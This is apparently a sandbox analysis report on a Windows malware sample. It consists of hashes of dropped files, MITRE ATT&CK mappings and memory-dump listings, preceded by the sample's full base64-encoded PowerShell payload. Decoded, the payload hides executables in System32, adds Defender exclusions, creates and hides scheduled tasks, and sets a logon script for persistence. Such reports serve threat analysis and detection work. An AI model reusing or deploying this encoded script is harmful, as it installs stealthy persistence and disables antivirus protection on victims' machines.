bwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGUAcgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZABhAHQAJwAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQB9AGUAbABzAGUAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAHkAcAB0AG8AXABTAHkAcwB0AGUAbQBLAGUAeQBzAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBlAG4AYwAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAuAGUAbgBjACcAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAfQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACkAIAAtAGEAbgBkACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlACcAKQApAHsAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUALgBkAGEAdAAnACAALQBGAG8AcgBjAGUAOwBhAHQAdAByAGkAYgAgACsAcwAgACsAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGUAcgBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZABhAHQAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZQBuAGMAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAnACkAKQB7AEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAVwBpAG4AUwBZAFMAMwAyAC4AZQB4AGUAJwAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABXAGkAbgBTAFkAUwAzADIALgBlAHgAZQAuAGUAbgBjACcAIAAtAEYAbwByAGMAZQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFcAaQBuAFMAWQBTADMAMgAuAGUAeABlAC4AZQBuAGMAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAKQApAHsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBlAHQAdwBvAHIAawBcAEQAbwB3AG4AbABvAGEAZABlAHIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBkAGEAdAAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABOAGUAdAB3AG8AcgBrAFwARABvAHcAbgBsAG8AYQBkAGUAcgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGQAYQB0ACcAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlAH0AZQBsAHMAZQBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBlAG4AYwAnACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABDAHIAeQBwAHQAbwBcAFMAeQBzAHQAZQBtAEsAZQB5AHMAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBlAG4AYwAnACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQB9ADsAYQB0AHQAcgBpAGIAIAArAHMAIAArAGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwB9ADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZABhAHQAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZABhAHQAJwAgAC0ARgBvAHIAYwBlADsAYQB0AHQAcgBpAGIAIAArAHMAIAArAGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBlAHQAdwBvAHIAawBcAEQAbwB3AG4AbABvAGEAZABlAHIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUALgBkAGEAdAAnAH0AOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAQwByAHkAcAB0AG8AXABTAHkAcwB0AGUAbQBLAGUAeQBzAFwAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAEgAbwBzAHQAUwBlAHIAdgBpAGMAZQAuAGUAeABlAC4AZQBuAGMAJwApACAALQBhAG4AZAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgASABvAHMAdABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwApACkAewBDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGUAbgBjACcAIAAtAEYAbwByAGMAZQA7AGEAdAB0AHIAaQBiACAAKwBzACAAKwBoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwBcAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AFMAZQByAHYAaQBjAGUALgBlAHgAZQAuAGUAbgBjACcAfQA7ACQAZQBwAD0AQAAoACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgAnACwAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAEMAcgB5AHAAdABvAFwAUwB5AHMAdABlAG0ASwBlAHkAcwAnACwAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE4AZQB0AHcAbwByAGsAXABEAG8AdwBuAGwAbwBhAGQAZQByACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABlACAAaQBuACAAJABlAHAAKQB7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAfQA7AGYAbwByACgAJABqAD0AMAA7ACQAagAgAC0AbAB0ACAAJAB0AHQALgBDAG8AdQBuAHQAOwAkAGoAKwArACkAewAkAHIAcAA9ACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlAFwAJAAoACQAdAB0AFsAJABqAF0AKQAiADsAJAB0AHAAPQAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAYwBoAGUAZAB1AGwAZQBcAFQAYQBzAGsAQwBhAGMAaABlAFwAVABhAHMAawBzACIAOwBpAGYAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAewBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAkAHQAdABbACQAagBdACAALwB0AHIAIAAkAHAAcABbACQAagBdACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AH0AOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcgBwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAewAkAHQAPQAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAkAHIAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAHQALgBTAEQAKQB7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ATgBhAG0AZQAgACcAUwBEACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ATgBhAG0AZQAgACcASQBuAGQAZQB4ACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAbgB1AGwAbAAgAC0AbgBlACAAJAB0AC4ASQBkACkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAHQAcABcACQAKAAkAHQALgBJAGQAKQAiACAALQBOAGEAbQBlACAAJwBTAEQAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQB9ADsAfQA7AH0AOwAkAHUAcABsAD0AJABwAHAAIAAtAGoAbwBpAG4AIAAnACwAJwA7ACQAcgBlAD0AJwBIAEsAQwBVADoAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAJwA7ACQAcgBuAD0AJwBVAHMAZQByAEkAbgBpAHQATQBwAHIATABvAGcAbwBuAFMAYwByAGkAcAB0ACcAOwBpAGYAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAkAHIAZQAgAC0ATgBhAG0AZQAgACQAcgBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgAkAHIAbgAgAC0AbgBlACAAJAB1AHAAbAApAHsAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACQAcgBlACAALQBOAGEAbQBlACAAJAByAG4AIAAtAFYAYQBsAHUAZQAgACQAdQBwAGwAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9ADsAJAB1AD0AKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtACkALgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAMAA7ACQAaQArACsAKQB7ACQAbQA9ACQAZgBhAGwAcwBlADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgACQAcwB0ACkAewBpAGYAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAHMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQB7ACQAbQA9ACQAdAByAHUAZQA7AGIAcgBlAGEAawB9AH0AOwBpAGYAKAAkAG0AKQB7AGYAbwByAGUAYQBjAGgAKAAkAG4AIABpAG4AIAAkAHAAbgApAHsARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAJABuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAHwAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB9AH0AZQBsAHMAZQB7AGYAbwByACgAJABqAD0AMAA7ACQAagAgAC0AbAB0ACAAJABwAG4ALgBDAG8AdQBuAHQAOwAkAGoAKwArACkAewBpAGYAKAAhACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAG4AWwAkAGoAXQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAewAkAHQAbgA9ACcAUwB5AHMARABpAGEAZwBUAG0AcABSACcAKwAkAGoAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAGMAcgBlAGEAdABlACAALwB0AG4AIAAkAHQAbgAgAC8AdAByACAAJABwAHAAcgBbACQAagBdACAALwBzAGMAIABvAG4AYwBlACAALwBzAHQAIAAwADAAOgAwADAAIAAvAHIAdQAgACQAdQAgAC8AcgBsACAAaABpAGcAaABlAHMAdAAgAC8AZgAgADIAPgAkAG4AdQBsAGwAOwBzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuACAALwB0AG4AIAAkAHQAbgAgADIAPgAkAG4AdQBsAGwAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAxADsAcwBjAGgAdABhAHMAawBzACAALwBkAGUAbABlAHQAZQAgAC8AdABuACAAJAB0AG4AIAAvAGYAIAAyAD4AJABuAHUAbABsAH0AfQB9ADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgB9ADsA
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SecurityHealthHostService.exe.enc

Path C:\ProgramData\Microsoft\Crypto\SystemKeys\SecurityHealthHostService.exe.enc
Size 3.2MB
SHA256 b55dace2c9f8cfafc59e1355a851de5e5e181de3b1481a3b11a5eb63da998a39
MD5 31388af51684ad832c25961b6e651c7b
SHA1 6ff21bf820288f6ce5688e2b6f94bc7d660dd543
SHA512 a4391338cd02df1315440053690209a6a6ff28cbae28a5ce3793a76e1e68b88a04eeac9bd3f5f7b10a4fb4fa5a951a3c9cc6ec47e9de9471a0d3a4d5fe354411
SSDEEP 49152:XjHeohaRD3Xq/zZYGrnoHUaOgZP4QwDoit8VsOBvyXo4aFB:ziRez+x5aQjKo4
TLSH
T165F53902BE8A8DE9D1CDCC74C24A8A670E2270DB1A36F6AF45C505253F6E7B55F2C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinSYS32.exe.enc

Path C:\ProgramData\Microsoft\Crypto\SystemKeys\WinSYS32.exe.enc
Size 24KB
SHA256 b589ab89518d5ebabd35142d46a494c9ca66004ed0e8213bc4914d3f7ff310c9
MD5 d151932dc854bccf3de89284d58a0392
SHA1 a69957bdb5fe355f4e7bc31329bd2c738748f50d
SHA512 21a11077aa3c2f89661f5cb5a29c29057f8439f149d4cc6b3785c15dd939a735590223b501eb4ddb0bc6726659ed13ff876b1b9cc57948ec923bcfc6e2a93b77
SSDEEP 384:f5puA7ZbmxlfkH4i72VeeqoEI0j+NiKLH1F7xGQYMThGW4pWT+:Bp1ZmxlfkH4iiVEIWVuVFIHMTqv
TLSH
T1E0B25A16BFA908DAE077C670C9371B37D670B4246631816F97D289160E6BBA0F839B47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ae2e7d790f2742a5dce4d5f9ba4ef1497b4a84d901d24cafea863da4eee1e3f4
MD5 a4aec139bde2e9c3d39bcfc0bf1e1218
SHA1 d52cbd9c6ac31bf24800fe0db3efcf2ace0b9aac
SHA512 2038d666c935168efd3d42528eb713e351804330a43311eedfb327c1da681034bfdb3f7ff0d62f9e9e2352eed0d060b966b3a7666b9145977459f60e09bd4df1
TLSH
T19C216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3139e85d0378410a1aff3e7981a762025c00177c0a5a8574b70932bf778fb29c
MD5 615640c52a5365a1af0c0d2e98427eed
SHA1 87804c7cbd8e42c083765b2e15e56cdf879c8c94
SHA512 ba3a8b992f5ccf7656fc880528372693185f892e2002d2330e6649e46a50710052969322a6a0e722ed8b2d291dc0fb39b1512d4819707cc49e934b0b35e411ee
TLSH
T166216833B3DD8624C89A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cansiidy.q2o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cansiidy.q2o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

vcruntime_e590a55.dll

Path C:\Windows\System32\vcruntime_e590a55.dll
Size 2.2MB
SHA256 31356821810d54281794bc4686613166bc6c55012a18d18c09c8cf50c0632963
MD5 7cc856ada18454a3c3a28d735ec9283e
SHA1 bd141c2b0a6415090e2fe7f71e889b6a7a47a8d2
SHA512 d14149a648f2f316df934fc300577904588dbb67560758205fc600d5137f3ce109c7cd6ed6453e0d648421e022624a94bee5825793a224694cd9110910576dd5
SSDEEP 49152:bnz2uqP2FRuSVNFTpu6BWQm6Uf8Noe8ZLL2pYIU6i:MSbHfyCn+
TLSH
T1ACB59D03F29581F9C0AEC078C74B9A33EA76B88E063476EF67D45B152E26F905B1C359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime_e5918f1.dll

Path C:\Windows\System32\vcruntime_e5918f1.dll
Size 124KB
SHA256 650ab1b1c8328a54088318b5d9799e5c6b4a87cc1545bd3ee268d0448e667083
MD5 a4f82ac44891a6eb7a60e95b847873ba
SHA1 05c710e20edee1978d10eee252b17da1ff9b625c
SHA512 ba8e1a92f2dacf842dd1440ef05fa0a1d819e295736506c8651c8a821c58f8d8d631c8a21c2d1d83027f92992936b48b052f38bd4f4c3b1f45bf7c8ac497d144
SSDEEP 1536:YGV0+jXSNmx2IO9qNts1j2fbL4IVIs7W2eUi0WyCfXWPyhf3qEGPUUWi0RBS:YGm+2fubL4aJ9dWyCePUfT8wi0vS
TLSH
T1E8C36C13758481BEE119C07883474A63EB7674C60B2267FF02B552342F6ABE6AF3DB15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1092-100-0x00000223D42E0000-0x00000223D43D0000-memory.dmp

Download

memory/1236-28-0x0000021CE34E0000-0x0000021CE35D0000-memory.dmp

Download

memory/1876-99-0x0000020BEA040000-0x0000020BEA0F2000-memory.dmp

Download

memory/1876-101-0x0000020BEA260000-0x0000020BEA350000-memory.dmp

Download

memory/2032-66-0x00007FF818600000-0x00007FF818FA4000-memory.dmp

Download

memory/2032-1-0x00000000000E0000-0x0000000000432000-memory.dmp

Download

memory/2032-0-0x00007FF81878F000-0x00007FF818790000-memory.dmp

Download

memory/2032-4-0x00007FF818600000-0x00007FF818FA4000-memory.dmp

Download

memory/2032-82-0x00007FF818600000-0x00007FF818FA4000-memory.dmp

Download

memory/2032-81-0x000000001BA10000-0x000000001BB00000-memory.dmp

Download

memory/2032-3-0x00007FF818600000-0x00007FF818FA4000-memory.dmp

Download

memory/2032-2-0x00007FF818600000-0x00007FF818FA4000-memory.dmp

Download

memory/2032-80-0x000000001BA10000-0x000000001BB00000-memory.dmp

Download

memory/3328-21-0x0000027477F00000-0x0000027477FF0000-memory.dmp

Download

memory/3388-35-0x000001C4F22A0000-0x000001C4F2390000-memory.dmp

Download

memory/3732-83-0x00000199C06E0000-0x00000199C07D0000-memory.dmp

Download

memory/3732-84-0x00000199C06E0000-0x00000199C07D0000-memory.dmp

Download

memory/6020-5-0x0000025F6BE70000-0x0000025F6BE92000-memory.dmp

Download

